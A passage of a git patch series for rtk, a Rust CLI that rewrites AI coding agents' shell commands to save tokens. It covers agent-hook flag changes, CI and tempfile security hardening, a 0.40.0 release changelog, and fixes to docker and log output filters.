**Output** (no `updatedInput` support -- uses deny-with-suggestion): + ```json { "permissionDecision": "deny", @@ -118,6 +123,7 @@ Returns `{}` when no rewrite (Cursor requires JSON for all paths). ### VS Code Copilot Chat (Rust Binary) **Input** (stdin, snake_case): + ```json { "tool_name": "Bash", @@ -130,6 +136,7 @@ Returns `{}` when no rewrite (Cursor requires JSON for all paths). ### Gemini CLI (Rust Binary) **Input** (stdin): + ```json { "tool_name": "run_shell_command", @@ -138,6 +145,7 @@ Returns `{}` when no rewrite (Cursor requires JSON for all paths). ``` **Output** (when rewritten): + ```json { "decision": "allow", @@ -152,6 +160,7 @@ Returns `{}` when no rewrite (Cursor requires JSON for all paths). ### OpenCode (TypeScript Plugin) Mutates `args.command` in-place via the zx library: + ```typescript const result = await $`rtk rewrite ${command}`.quiet().nothrow() const rewritten = String(result.stdout).trim() @@ -247,8 +256,3 @@ RTK supports AI coding assistants that developers actually use day-to-day. To ad ### Maintenance If an agent's API changes and the hook breaks, the integration should be updated promptly. If the agent becomes unmaintained or the hook can't be fixed, the integration may be deprecated with a release note. - -### Worked Example - -See [`docs/specs/pi-hook-integration.md`](../docs/specs/pi-hook-integration.md) for a complete integration SPEC — covering design, component inventory, exit-code mapping, install layout, error handling, and testing strategy. Use it as a template when speccing new agent integrations. - diff --git a/hooks/pi/README.md b/hooks/pi/README.md index ef7038f712..1674909360 100644 --- a/hooks/pi/README.md +++ b/hooks/pi/README.md @@ -9,20 +9,20 @@ - Calls `rtk rewrite` as a subprocess; mutates `event.input.command` in-place if rewrite differs - Returns `{ block: true, reason }` on deny (exit code 2); all other error paths return `undefined` - Version guard at load time: checks `rtk >= 0.23.0`; warns and registers no-op if too old or missing -- Installed to `.pi/extensions/rtk.ts` by `rtk init --pi` (project-local) or `~/.pi/agent/extensions/rtk.ts` by `rtk init --pi --global` +- Installed to `.pi/extensions/rtk.ts` by `rtk init --agent pi` (project-local) or `~/.pi/agent/extensions/rtk.ts` by `rtk init --agent pi --global` ## Uninstall ```bash # Remove project-local install (run from the project root) -rtk init --uninstall --pi +rtk init --uninstall --agent pi # → removes .pi/extensions/rtk.ts # Remove global install -rtk init --uninstall --pi --global +rtk init --uninstall --agent pi --global # → removes ~/.pi/agent/extensions/rtk.ts -# Pi-only target form also works +# Pi-only target form rtk init --uninstall --agent pi rtk init --uninstall --agent pi --global ``` diff --git a/src/hooks/README.md b/src/hooks/README.md index 3f9a173466..a0c76b76de 100644 --- a/src/hooks/README.md +++ b/src/hooks/README.md @@ -30,7 +30,7 @@ LLM agent integration layer that installs, validates, and executes command-rewri | Cline | `rtk init --agent cline` | `.clinerules` | -- | | Codex | `rtk init --codex` | RTK.md in `$CODEX_HOME` or `~/.codex` | AGENTS.md | | Cursor | `rtk init -g --agent cursor` | Cursor hook | hooks.json | -| Pi | `rtk init --pi` | `.pi/extensions/rtk.ts` | -- | +| Pi | `rtk init --agent pi` | `.pi/extensions/rtk.ts` | -- | | Hermes | `rtk init --agent hermes` | Python plugin in `~/.hermes/plugins/rtk-rewrite/` | `config.yaml` `plugins.enabled` | diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 18c5040730..94fda39dbe 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -13,10 +13,9 @@ use crate::hooks::constants::{ use super::constants::{ BEFORE_TOOL_KEY, CLAUDE_DIR, CLAUDE_HOOK_COMMAND, CODEX_DIR, CURSOR_HOOK_COMMAND, - GEMINI_HOOK_FILE, HOOKS_JSON, HOOKS_SUBDIR, PI_CODING_AGENT_DIR_ENV, PI_DIR, - PI_EXTENSIONS_SUBDIR, PI_PLUGIN_FILE, PRE_TOOL_USE_KEY, REWRITE_HOOK_FILE, SETTINGS_JSON, GEMINI_HOOK_FILE, HERMES_DIR, HERMES_PLUGINS_SUBDIR, HERMES_PLUGIN_INIT_FILE, - HERMES_PLUGIN_MANIFEST_FILE, HERMES_PLUGIN_NAME, HOOKS_JSON, HOOKS_SUBDIR, PRE_TOOL_USE_KEY, + HERMES_PLUGIN_MANIFEST_FILE, HERMES_PLUGIN_NAME, HOOKS_JSON, HOOKS_SUBDIR, + PI_CODING_AGENT_DIR_ENV, PI_DIR, PI_EXTENSIONS_SUBDIR, PI_PLUGIN_FILE, PRE_TOOL_USE_KEY, REWRITE_HOOK_FILE, SETTINGS_JSON, }; use super::integrity; @@ -612,8 +611,9 @@ pub fn uninstall( codex: bool, cursor: bool, pi: bool, - verbose: u8, + ctx: InitContext, ) -> Result<()> { + let InitContext { verbose, dry_run } = ctx; if codex { uninstall_codex(global, ctx)?; if dry_run { @@ -2784,15 +2784,16 @@ fn pi_plugin_path_for_scope(global: bool) -> Result { } /// Write the Pi extension file if missing or outdated. Returns true if written. -fn ensure_pi_plugin_installed(path: &Path, verbose: u8) -> Result { - write_if_changed(path, PI_PLUGIN, "Pi extension", verbose) +fn ensure_pi_plugin_installed(path: &Path, ctx: InitContext) -> Result { + write_if_changed(path, PI_PLUGIN, "Pi extension", ctx) } /// Install the Pi extension (hook-only; no AGENTS.md injection). /// /// global=true → `$PI_CODING_AGENT_DIR/extensions/rtk.ts` /// global=false → `.pi/extensions/rtk.ts` -pub fn run_pi_mode(global: bool, verbose: u8) -> Result<()> { +pub fn run_pi_mode(global: bool, ctx: InitContext) -> Result<()> { + let InitContext { verbose: _, .. } = ctx; let plugin_path = if global { let pi_dir = resolve_pi_dir()?; let path = pi_plugin_path(&pi_dir); @@ -2818,7 +2819,7 @@ pub fn run_pi_mode(global: bool, verbose: u8) -> Result<()> { path }; - let installed = ensure_pi_plugin_installed(&plugin_path, verbose)?; + let installed = ensure_pi_plugin_installed(&plugin_path, ctx)?; print_pi_result(&plugin_path, installed); Ok(()) @@ -5526,7 +5527,7 @@ mod tests { let tmp = TempDir::new().unwrap(); with_claude_dir_override(&tmp, |claude_dir| { run_default_mode(true, PatchMode::Auto, false, InitContext::default()).unwrap(); - uninstall(true, false, false, false, InitContext::default()).unwrap(); + uninstall(true, false, false, false, false, InitContext::default()).unwrap(); assert!(!claude_dir.join(RTK_MD).exists(), "RTK.md must be removed"); let settings_content = @@ -5654,7 +5655,7 @@ mod tests { dry_run: true, ..Default::default() }; - uninstall(true, false, false, false, dry).unwrap(); + uninstall(true, false, false, false, false, dry).unwrap(); // Files must still exist with identical content assert!( @@ -5774,7 +5775,7 @@ mod tests { fn test_run_pi_mode_global_installs_plugin() { let tmp = TempDir::new().unwrap(); with_pi_dir_override(&tmp, |pi_dir| { - run_pi_mode(true, 0).unwrap(); + run_pi_mode(true, InitContext::default()).unwrap(); let plugin = pi_dir.join(PI_EXTENSIONS_SUBDIR).join(PI_PLUGIN_FILE); assert!(plugin.exists(), "global Pi extension must be created"); @@ -5794,7 +5795,7 @@ mod tests { let cwd = std::env::current_dir().unwrap(); std::env::set_current_dir(tmp.path()).unwrap(); - let result = run_pi_mode(false, 0); + let result = run_pi_mode(false, InitContext::default()); std::env::set_current_dir(&cwd).unwrap(); result.unwrap(); @@ -5810,7 +5811,7 @@ mod tests { fn test_run_pi_mode_global_does_not_create_agents_md() { let tmp = TempDir::new().unwrap(); with_pi_dir_override(&tmp, |pi_dir| { - run_pi_mode(true, 0).unwrap(); + run_pi_mode(true, InitContext::default()).unwrap(); let agents_md = pi_dir.join(AGENTS_MD); assert!(!agents_md.exists(), "AGENTS.md must not be created"); @@ -5825,7 +5826,7 @@ mod tests { let orig = std::env::var_os(PI_CODING_AGENT_DIR_ENV); std::env::set_var(PI_CODING_AGENT_DIR_ENV, &absent_dir); - let result = run_pi_mode(true, 0); + let result = run_pi_mode(true, InitContext::default()); match orig { Some(v) => std::env::set_var(PI_CODING_AGENT_DIR_ENV, v), @@ -5848,12 +5849,12 @@ mod tests { fn test_pi_global_uninstall_removes_plugin() { let tmp = TempDir::new().unwrap(); with_pi_dir_override(&tmp, |pi_dir| { - run_pi_mode(true, 0).unwrap(); + run_pi_mode(true, InitContext::default()).unwrap(); let plugin = pi_dir.join(PI_EXTENSIONS_SUBDIR).join(PI_PLUGIN_FILE); assert!(plugin.exists()); - uninstall(true, false, false, false, true, 0).unwrap(); + uninstall(true, false, false, false, true, InitContext::default()).unwrap(); assert!(!plugin.exists(), "plugin must be removed"); }); @@ -5866,8 +5867,8 @@ mod tests { let cwd = std::env::current_dir().unwrap(); std::env::set_current_dir(tmp.path()).unwrap(); - run_pi_mode(false, 0).unwrap(); - let result = uninstall(false, false, false, false, true, 0); + run_pi_mode(false, InitContext::default()).unwrap(); + let result = uninstall(false, false, false, false, true, InitContext::default()); std::env::set_current_dir(&cwd).unwrap(); result.unwrap(); diff --git a/src/main.rs b/src/main.rs index 5cec09efba..469eefa9fe 100644 --- a/src/main.rs +++ b/src/main.rs @@ -376,10 +376,6 @@ enum Commands { /// Install GitHub Copilot integration (VS Code + CLI) #[arg(long)] copilot: bool, - - /// Install Pi coding agent extension - #[arg(long)] - pi: bool, /// Preview changes without writing any files (combine with -v to show content) #[arg(long = "dry-run", conflicts_with = "show")] dry_run: bool, @@ -1366,13 +1362,14 @@ fn uninstall_init_dispatch( ) -> Result<()> where UninstallHermes: FnOnce(hooks::init::InitContext) -> Result<()>, - UninstallStandard: FnOnce(bool, bool, bool, bool, hooks::init::InitContext) -> Result<()>, + UninstallStandard: FnOnce(bool, bool, bool, bool, bool, hooks::init::InitContext) -> Result<()>, { if agent == Some(AgentTarget::Hermes) { uninstall_hermes(ctx) } else { let cursor = agent == Some(AgentTarget::Cursor); - uninstall_standard(global, gemini, codex, cursor, ctx) + let pi = agent == Some(AgentTarget::Pi); + uninstall_standard(global, gemini, codex, cursor, pi, ctx) } } @@ -1795,7 +1792,6 @@ fn run_cli() -> Result { uninstall, codex, copilot, - pi, dry_run, } => { let ctx = hooks::init::InitContext { @@ -1825,8 +1821,8 @@ fn run_cli() -> Result { hooks::init::run_gemini(global, hook_only, patch_mode, ctx)?; } else if copilot { hooks::init::run_copilot(ctx)?; - } else if pi || agent == Some(AgentTarget::Pi) { - hooks::init::run_pi_mode(global, cli.verbose)? + } else if agent == Some(AgentTarget::Pi) { + hooks::init::run_pi_mode(global, ctx)? } else if agent == Some(AgentTarget::Kilocode) { if global { anyhow::bail!("Kilo Code is project-scoped. Use: rtk init --agent kilocode"); @@ -2680,7 +2676,7 @@ mod tests { assert!(ctx.dry_run); Ok(()) }, - |_, _, _, _, _| { + |_, _, _, _, _, _| { standard_called.set(true); Ok(()) }, @@ -3149,12 +3145,10 @@ mod tests { } #[test] - fn test_init_pi_flag_parses() { - let cli = Cli::try_parse_from(["rtk", "init", "--pi"]).unwrap(); - match cli.command { - Commands::Init { pi, .. } => assert!(pi, "--pi flag must be set"), - _ => panic!("Expected Init command"), - } + fn test_init_pi_flag_rejected() { + // --pi has been removed; --agent pi is the canonical form + let result = Cli::try_parse_from(["rtk", "init", "--pi"]); + assert!(result.is_err(), "--pi must be rejected as unknown argument"); } #[test] @@ -3173,17 +3167,18 @@ mod tests { } #[test] - fn test_init_uninstall_pi_parses() { - let cli = Cli::try_parse_from(["rtk", "init", "--uninstall", "--pi", "--global"]).unwrap(); + fn test_init_uninstall_agent_pi_parses() { + let cli = Cli::try_parse_from(["rtk", "init", "--uninstall", "--agent", "pi", "--global"]) + .unwrap(); match cli.command { Commands::Init { uninstall, - pi, + agent, global, .. } => { assert!(uninstall); - assert!(pi); + assert_eq!(agent, Some(AgentTarget::Pi)); assert!(global); } _ => panic!("Expected Init command"), From cd6ac2f47a008c6dca04b567faf68aaedfd87ca9 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 13 May 2026 15:42:11 +0200 Subject: [PATCH 089/257] fix(security): replace insecure tmp, lock git workflow perm --- .github/workflows/pr-target-check.yml | 1 + scripts/benchmark-sessions/lib/runner.py | 4 +++- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/.github/workflows/pr-target-check.yml b/.github/workflows/pr-target-check.yml index 25a607b8b7..ef4d5fad7e 100644 --- a/.github/workflows/pr-target-check.yml +++ b/.github/workflows/pr-target-check.yml @@ -7,6 +7,7 @@ on: jobs: check-target: runs-on: ubuntu-latest + permissions: {} # Skip develop→master PRs (maintainer releases) if: >- github.event.pull_request.base.ref == 'master' && diff --git a/scripts/benchmark-sessions/lib/runner.py b/scripts/benchmark-sessions/lib/runner.py index 192fbcd41b..ccc301409e 100644 --- a/scripts/benchmark-sessions/lib/runner.py +++ b/scripts/benchmark-sessions/lib/runner.py @@ -1,6 +1,7 @@ from __future__ import annotations import asyncio +import os import subprocess import tempfile from pathlib import Path @@ -21,7 +22,8 @@ def _create_tarball(source_dir: Path) -> str: - tarball = tempfile.mktemp(suffix=".tar.gz") + fd, tarball = tempfile.mkstemp(suffix=".tar.gz") + os.close(fd) subprocess.run( ["tar", "czf", tarball, "-C", str(source_dir), "."], check=True, From 26b96ec6c4f40f992ccffa190af9a4de8d7636b1 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 13 May 2026 17:13:44 +0200 Subject: [PATCH 090/257] fix(security): pin workflow actions to SHA, clean up tempfile on failure --- .github/workflows/pr-target-check.yml | 4 ++-- scripts/benchmark-sessions/lib/runner.py | 16 +++++++++++----- 2 files changed, 13 insertions(+), 7 deletions(-) diff --git a/.github/workflows/pr-target-check.yml b/.github/workflows/pr-target-check.yml index ef4d5fad7e..f66d532c08 100644 --- a/.github/workflows/pr-target-check.yml +++ b/.github/workflows/pr-target-check.yml @@ -13,7 +13,7 @@ jobs: github.event.pull_request.base.ref == 'master' && github.event.pull_request.head.ref != 'develop' steps: - - uses: actions/create-github-app-token@v3 + - uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3.2.0 id: app-token with: client-id: ${{ secrets.APP_CLIENT_ID }} @@ -21,7 +21,7 @@ jobs: permission-pull-requests: write - name: Add wrong-base label and comment - uses: actions/github-script@v7 + uses: actions/github-script@f28e40c7f34bde8b3046d885e986cb6290c5673b # v7 with: github-token: ${{ steps.app-token.outputs.token }} script: | diff --git a/scripts/benchmark-sessions/lib/runner.py b/scripts/benchmark-sessions/lib/runner.py index ccc301409e..bd02dc1d05 100644 --- a/scripts/benchmark-sessions/lib/runner.py +++ b/scripts/benchmark-sessions/lib/runner.py @@ -24,10 +24,14 @@ def _create_tarball(source_dir: Path) -> str: fd, tarball = tempfile.mkstemp(suffix=".tar.gz") os.close(fd) - subprocess.run( - ["tar", "czf", tarball, "-C", str(source_dir), "."], - check=True, - ) + try: + subprocess.run( + ["tar", "czf", tarball, "-C", str(source_dir), "."], + check=True, + ) + except Exception: + Path(tarball).unlink(missing_ok=True) + raise return tarball @@ -75,6 +79,7 @@ async def run_benchmark( total_steps = 5 if terminal_bench else 4 vm_names: list[str] = [] + local_tarball: str | None = None manifest = RunManifest( task_name=task.name, @@ -88,7 +93,6 @@ async def run_benchmark( print(f" VMs ready: {', '.join(vm_names)}") _print_step(2, total_steps, "Setting up codebases") - local_tarball = None if not task.codebase.is_github: local_tarball = _create_tarball(task.codebase.local_path()) @@ -149,6 +153,8 @@ async def run_benchmark( print(f"\n Manifest written to {output_dir / 'manifest.json'}") finally: + if local_tarball: + Path(local_tarball).unlink(missing_ok=True) if not keep_vms and vm_names: print("\nCleaning up VMs...") await destroy_vm_pool(vm_names) From 7e418fd66402b1ed654af37b94950cb119db183c Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 13 May 2026 19:01:37 +0200 Subject: [PATCH 091/257] Update pr-target-check.yml --- .github/workflows/pr-target-check.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/pr-target-check.yml b/.github/workflows/pr-target-check.yml index f66d532c08..ac3ec13666 100644 --- a/.github/workflows/pr-target-check.yml +++ b/.github/workflows/pr-target-check.yml @@ -36,7 +36,7 @@ jobs: }); // Post comment - const body = `Automatic message from CI checks : It seems like this branche is targeting the wrong branch, any contribution should target develop branch. + const body = `Automatic message from CI checks : It seems like this branch is targeting the wrong branch, any contribution should target develop branch. See [CONTRIBUTING.md](https://github.com/rtk-ai/rtk/blob/master/CONTRIBUTING.md) for details.`; From 0c6a838594e87346b67bd13c092b8a46a783af87 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Wed, 13 May 2026 21:24:41 +0200 Subject: [PATCH 092/257] fix(cicd): set release-please target-branch to master [skip ci] --- .github/workflows/cd.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/cd.yml b/.github/workflows/cd.yml index 0ed2bc0fcf..4719b943e9 100644 --- a/.github/workflows/cd.yml +++ b/.github/workflows/cd.yml @@ -117,6 +117,7 @@ jobs: release-type: rust package-name: rtk token: ${{ steps.app-token.outputs.token }} + target-branch: ${{ github.ref_name }} build-release: name: Build and upload release assets From 120d99fc9100bee0ccc3c76b77f6a92c926e717b Mon Sep 17 00:00:00 2001 From: "rtk-release-bot[bot]" <280461666+rtk-release-bot[bot]@users.noreply.github.com> Date: Wed, 13 May 2026 19:40:00 +0000 Subject: [PATCH 093/257] chore(master): release 0.40.0 --- .release-please-manifest.json | 2 +- CHANGELOG.md | 38 +++++++++++++++++++++++++++++++++++ Cargo.lock | 2 +- Cargo.toml | 2 +- 4 files changed, 41 insertions(+), 3 deletions(-) diff --git a/.release-please-manifest.json b/.release-please-manifest.json index 418b49e995..6507815346 100644 --- a/.release-please-manifest.json +++ b/.release-please-manifest.json @@ -1,3 +1,3 @@ { - ".": "0.39.0" + ".": "0.40.0" } diff --git a/CHANGELOG.md b/CHANGELOG.md index f6e1beb466..2e2345b8fe 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,44 @@ All notable changes to rtk (Rust Token Killer) will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [0.40.0](https://github.com/rtk-ai/rtk/compare/v0.39.0...v0.40.0) (2026-05-13) + + +### Features + +* **gradlew:** Gradle support for Android/Kotlin developers ([833026b](https://github.com/rtk-ai/rtk/commit/833026b893822be4e1c64d22d640e979cd9eff51)) +* **hermes:** add Hermes Agent support via rtk init --agent hermes ([55f998d](https://github.com/rtk-ai/rtk/commit/55f998d08cd80ece970fe5e61eaae3533512288b)) +* **hermes:** add rtk integration ([9d3b99d](https://github.com/rtk-ai/rtk/commit/9d3b99dec8516fd32071d151306b5bb6fd4d06e3)) +* **hooks:** add transparent_prefixes config for wrapper commands ([998f1ee](https://github.com/rtk-ai/rtk/commit/998f1ee0a3cf8d73ea0d6d87c121117f351e4992)) +* **init:** add --dry-run flag to preview changes without writing ([172ec54](https://github.com/rtk-ai/rtk/commit/172ec54580ddb0d737ef3e3be8a075eaeeb0a01b)) + + +### Bug Fixes + +* **cicd:** pr-target clean msg + git app token ([e4c3ed7](https://github.com/rtk-ai/rtk/commit/e4c3ed7d889ede726df7986ade94a4714c7c7f99)) +* **cicd:** pr-target clean msg + git app token ([4ebda52](https://github.com/rtk-ai/rtk/commit/4ebda52f5ab898f9c0e8c610cc51b36a63e6eefa)) +* **cicd:** set release-please target-branch to master [skip ci] ([0c6a838](https://github.com/rtk-ai/rtk/commit/0c6a838594e87346b67bd13c092b8a46a783af87)) +* correct ARCHITECTURE.md path in README links ([2a41e03](https://github.com/rtk-ai/rtk/commit/2a41e039903049543aa6c69482747eddcce9ee5a)) +* correct ARCHITECTURE.md path in README links ([f2da381](https://github.com/rtk-ai/rtk/commit/f2da381ae2353d31dd7252af6c868c56f6aa3db8)) +* don't inject -json for go test -bench runs ([380a7c9](https://github.com/rtk-ai/rtk/commit/380a7c9f1189fafe7d0b878b3821a720ac6ab4b2)) +* don't inject -json for go test -bench runs ([b058c96](https://github.com/rtk-ai/rtk/commit/b058c960f48535227cdec93392a70ee84f3cd2ee)), closes [#1609](https://github.com/rtk-ai/rtk/issues/1609) +* **dotnet:** 🐛 format build/test/restore output sections ([106305b](https://github.com/rtk-ai/rtk/commit/106305b1978ad5fdd47139d3543cfa53a5e8172e)) +* **dotnet:** 🐛 format build/test/restore output summaries ([271bc53](https://github.com/rtk-ai/rtk/commit/271bc53f35c23b39dc42002e8eb3032557f845ec)) +* **dotnet:** 🐛 format warnings section in build/test/restore outputs ([c5245d7](https://github.com/rtk-ai/rtk/commit/c5245d74fafc066072615d804c27d5c2892db7d9)) +* **dotnet:** move build/test/restore status line to the bottom ([ed161b0](https://github.com/rtk-ai/rtk/commit/ed161b0a33a2a784bb933792501aa2747b0df3c3)), closes [#1574](https://github.com/rtk-ai/rtk/issues/1574) +* **gradlew:** use resolved_command for system gradle fallback ([9e3a5ae](https://github.com/rtk-ai/rtk/commit/9e3a5ae68d4adc3d7fc374f36235cb5164e6efc8)) +* **hooks:** address transparent prefix review ([fdf0ed0](https://github.com/rtk-ai/rtk/commit/fdf0ed0b597f1ebdc96a2793df2725a1e62bc65c)) +* **hooks:** address transparent prefix review comments ([041de2b](https://github.com/rtk-ai/rtk/commit/041de2b6baa6a27af7d9b429d807fbe887780c90)) +* **hooks:** compose env and transparent prefixes ([b234bc6](https://github.com/rtk-ai/rtk/commit/b234bc6db1ab301334412409a4cfd67fe99c58f0)) +* **hooks:** make Cursor preToolUse rewrites work and stay visible ([2d6e10a](https://github.com/rtk-ai/rtk/commit/2d6e10a923d18e022f5fdc4ed9b69ae0d43b2f79)) +* **hooks:** make Cursor preToolUse rewrites work and stay visible ([f00977a](https://github.com/rtk-ai/rtk/commit/f00977aa338ce6bafe8df69c271679951310b045)) +* minor code cleanup, avoid duplicating logic ([20cac8a](https://github.com/rtk-ai/rtk/commit/20cac8a4e7c2b7e0e2675dbcab4fbd0fb1ad79ed)) +* new rewite_command test call after rebase ([5cfb8e1](https://github.com/rtk-ai/rtk/commit/5cfb8e1d2bdf85d60633868cb420aba9a7b923f4)) +* resolve merge conflict artifacts in init.rs ([4830d50](https://github.com/rtk-ai/rtk/commit/4830d50f6e3ad7adbd24ba11f3e392869723a020)) +* **security:** pin workflow actions to SHA, clean up tempfile on failure ([26b96ec](https://github.com/rtk-ai/rtk/commit/26b96ec6c4f40f992ccffa190af9a4de8d7636b1)) +* **security:** replace insecure tmp, lock git perm, set sha for actions ([54d1f87](https://github.com/rtk-ai/rtk/commit/54d1f8736f4acdd0667eb86c81d0e4c7843306f4)) +* **security:** replace insecure tmp, lock git workflow perm ([cd6ac2f](https://github.com/rtk-ai/rtk/commit/cd6ac2f47a008c6dca04b567faf68aaedfd87ca9)) + ## [0.39.0](https://github.com/rtk-ai/rtk/compare/v0.38.0...v0.39.0) (2026-05-06) diff --git a/Cargo.lock b/Cargo.lock index e65c2219f6..8773a0899e 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -892,7 +892,7 @@ dependencies = [ [[package]] name = "rtk" -version = "0.39.0" +version = "0.40.0" dependencies = [ "anyhow", "automod", diff --git a/Cargo.toml b/Cargo.toml index 1fc5073096..8fc8a93054 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "rtk" -version = "0.39.0" +version = "0.40.0" edition = "2021" authors = ["Patrick Szymkowiak"] description = "Rust Token Killer - High-performance CLI proxy to minimize LLM token consumption" From b70b0feec680356db81561d3920a3a9373dd43d8 Mon Sep 17 00:00:00 2001 From: patrick Date: Thu, 14 May 2026 21:40:54 +0200 Subject: [PATCH 094/257] fix(docker): forward --tail flag in compose logs Previously `rtk docker compose logs --tail=20 web` would fall through to the passthrough handler because clap had no `--tail` field on the `Logs` subcommand, resulting in 0% token savings. Additionally, `run_compose_logs` always fetched 100 lines regardless of user input. - Add `#[arg(long, default_value_t = 100)] tail: u32` to `ComposeCommands::Logs` - Thread the value through to the docker invocation - Default unchanged (100 lines), so bare `rtk docker compose logs` behaves as before Ports the core fix from #580, retargeted onto current develop layout (`src/cmds/cloud/container.rs`). Relates to #578. Co-authored-by: Mihir Dash <137862945+slice-mihird@users.noreply.github.com> --- src/cmds/cloud/container.rs | 5 +++-- src/main.rs | 7 +++++-- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/src/cmds/cloud/container.rs b/src/cmds/cloud/container.rs index 3931ebf6ef..dd32a23125 100644 --- a/src/cmds/cloud/container.rs +++ b/src/cmds/cloud/container.rs @@ -561,9 +561,10 @@ pub fn run_compose_ps(verbose: u8) -> Result { Ok(0) } -pub fn run_compose_logs(service: Option<&str>, verbose: u8) -> Result { +pub fn run_compose_logs(service: Option<&str>, tail: u32, verbose: u8) -> Result { let mut cmd = resolved_command("docker"); - cmd.args(["compose", "logs", "--tail", "100"]); + let tail_str = tail.to_string(); + cmd.args(["compose", "logs", "--tail", &tail_str]); if let Some(svc) = service { cmd.arg(svc); } diff --git a/src/main.rs b/src/main.rs index d6d0aa4f34..25c70dcb06 100644 --- a/src/main.rs +++ b/src/main.rs @@ -926,6 +926,9 @@ enum ComposeCommands { Logs { /// Optional service name service: Option, + /// Number of log lines to fetch + #[arg(long, default_value_t = 100)] + tail: u32, }, /// Build compose services (summary) Build { @@ -1707,8 +1710,8 @@ fn run_cli() -> Result { } DockerCommands::Compose { command: compose } => match compose { ComposeCommands::Ps => container::run_compose_ps(cli.verbose)?, - ComposeCommands::Logs { service } => { - container::run_compose_logs(service.as_deref(), cli.verbose)? + ComposeCommands::Logs { service, tail } => { + container::run_compose_logs(service.as_deref(), tail, cli.verbose)? } ComposeCommands::Build { service } => { container::run_compose_build(service.as_deref(), cli.verbose)? From 62fc0e0d2159e82aaa8c36a18d69ca569a1ce0b5 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Tue, 12 May 2026 10:51:15 +0200 Subject: [PATCH 095/257] fix(filters): address adversarial test-suite findings on aggressive filtering Several filters dropped or rewrote information an agent needs, producing output that was misleading rather than merely compressed. This fixes the clear-cut cases surfaced by the TheDecipherist/rtk-test suite: - ls: stop hiding the `.env` file (removed `.env`/`env` from NOISE_DIRS). - git status: restore the explicit "HEAD detached at " line instead of the opaque "* HEAD (no branch)". - log/docker logs: recognise CRITICAL/FATAL/ALERT/EMERGENCY/SEVERE (and NOTICE) as severities so those lines are no longer silently filtered; expose `log` as a `rtk pipe` filter and accept a positional filter name. - wc: forward stdin to the child so `cat file | rtk wc` counts the pipe instead of reporting 0 (new RunOptions::inherit_stdin). - jest/vitest: include skipped/pending test count in the compact summary. - pytest: surface xfailed/xpassed counts and list XFAIL/XPASS entries with their reasons (adds `-rxX`). - ruff/eslint: list individual violations with file:line:col, not just rule/file group counts. - pnpm/npm list: render the actual package list instead of the false-positive "All packages up-to-date" when there's no upgrade info. - git add: stay silent on a no-op instead of printing an ambiguous "ok". - git stash: pass git's own message through instead of collapsing to "ok". - docker ps: keep the Status column (health/restart info) and list stopped/exited containers; docker images: show all images with full names; docker compose ps: use `-a` so crashed services stay visible. All 1870 unit tests pass; cargo fmt + clippy clean. --- src/cmds/cloud/container.rs | 116 ++++++++++++++++---------- src/cmds/git/git.rs | 44 ++++++++-- src/cmds/js/lint_cmd.rs | 52 +++++++----- src/cmds/python/pip_cmd.rs | 21 +++-- src/cmds/python/pytest_cmd.rs | 153 +++++++++++++++++++++++++--------- src/cmds/python/ruff_cmd.rs | 26 +++++- src/cmds/system/constants.rs | 2 - src/cmds/system/log_cmd.rs | 11 ++- src/cmds/system/pipe_cmd.rs | 3 +- src/cmds/system/wc_cmd.rs | 12 ++- src/core/runner.rs | 16 +++- src/main.rs | 7 +- src/parser/formatter.rs | 28 ++++++- 13 files changed, 365 insertions(+), 126 deletions(-) diff --git a/src/cmds/cloud/container.rs b/src/cmds/cloud/container.rs index dd32a23125..797aeba866 100644 --- a/src/cmds/cloud/container.rs +++ b/src/cmds/cloud/container.rs @@ -54,14 +54,18 @@ where fn docker_ps(_verbose: u8) -> Result { let timer = tracking::TimedExecution::start(); + // Baseline the LLM would otherwise see. let raw = exec_capture(resolved_command("docker").args(["ps"])) .map(|r| r.stdout) .unwrap_or_default(); + // One structured call over *all* containers (`-a`) — splitting on the State + // field lets us list crashed/exited ones too, which plain `docker ps` hides. let result = exec_capture(resolved_command("docker").args([ "ps", + "-a", "--format", - "{{.ID}}\t{{.Names}}\t{{.Status}}\t{{.Image}}\t{{.Ports}}", + "{{.State}}\t{{.ID}}\t{{.Names}}\t{{.Status}}\t{{.Image}}\t{{.Ports}}", ])) .context("Failed to run docker ps")?; @@ -71,43 +75,66 @@ fn docker_ps(_verbose: u8) -> Result { return Ok(result.exit_code); } - let stdout = result.stdout; - let mut rtk = String::new(); + let format_line = |parts: &[&str], with_ports: bool| -> Option { + // parts: State, ID, Names, Status, Image, Ports + if parts.len() < 5 { + return None; + } + let id = &parts[1][..12.min(parts[1].len())]; + let name = parts[2]; + // Keep the Status verbatim — it carries health ("Up 4s (unhealthy)") + // and exit-code/restart info an agent needs to judge service health. + let status = parts[3].trim(); + let short_image = parts[4].split('/').next_back().unwrap_or(""); + let port_suffix = if with_ports { + let ports = compact_ports(parts.get(5).unwrap_or(&"")); + if ports == "-" { + String::new() + } else { + format!(" [{}]", ports) + } + } else { + String::new() + }; + Some(format!( + " {} {} ({}) {}{}\n", + id, name, short_image, status, port_suffix + )) + }; - if stdout.trim().is_empty() { - rtk.push_str("[docker] 0 containers"); - println!("{}", rtk); - timer.track("docker ps", "rtk docker ps", &raw, &rtk); - return Ok(0); + let mut running: Vec> = Vec::new(); + let mut stopped: Vec> = Vec::new(); + for line in result.stdout.lines().filter(|l| !l.trim().is_empty()) { + let parts: Vec<&str> = line.split('\t').collect(); + let state = parts.first().copied().unwrap_or(""); + if matches!(state, "running" | "restarting") { + running.push(parts); + } else { + stopped.push(parts); + } } - let count = stdout.lines().count(); 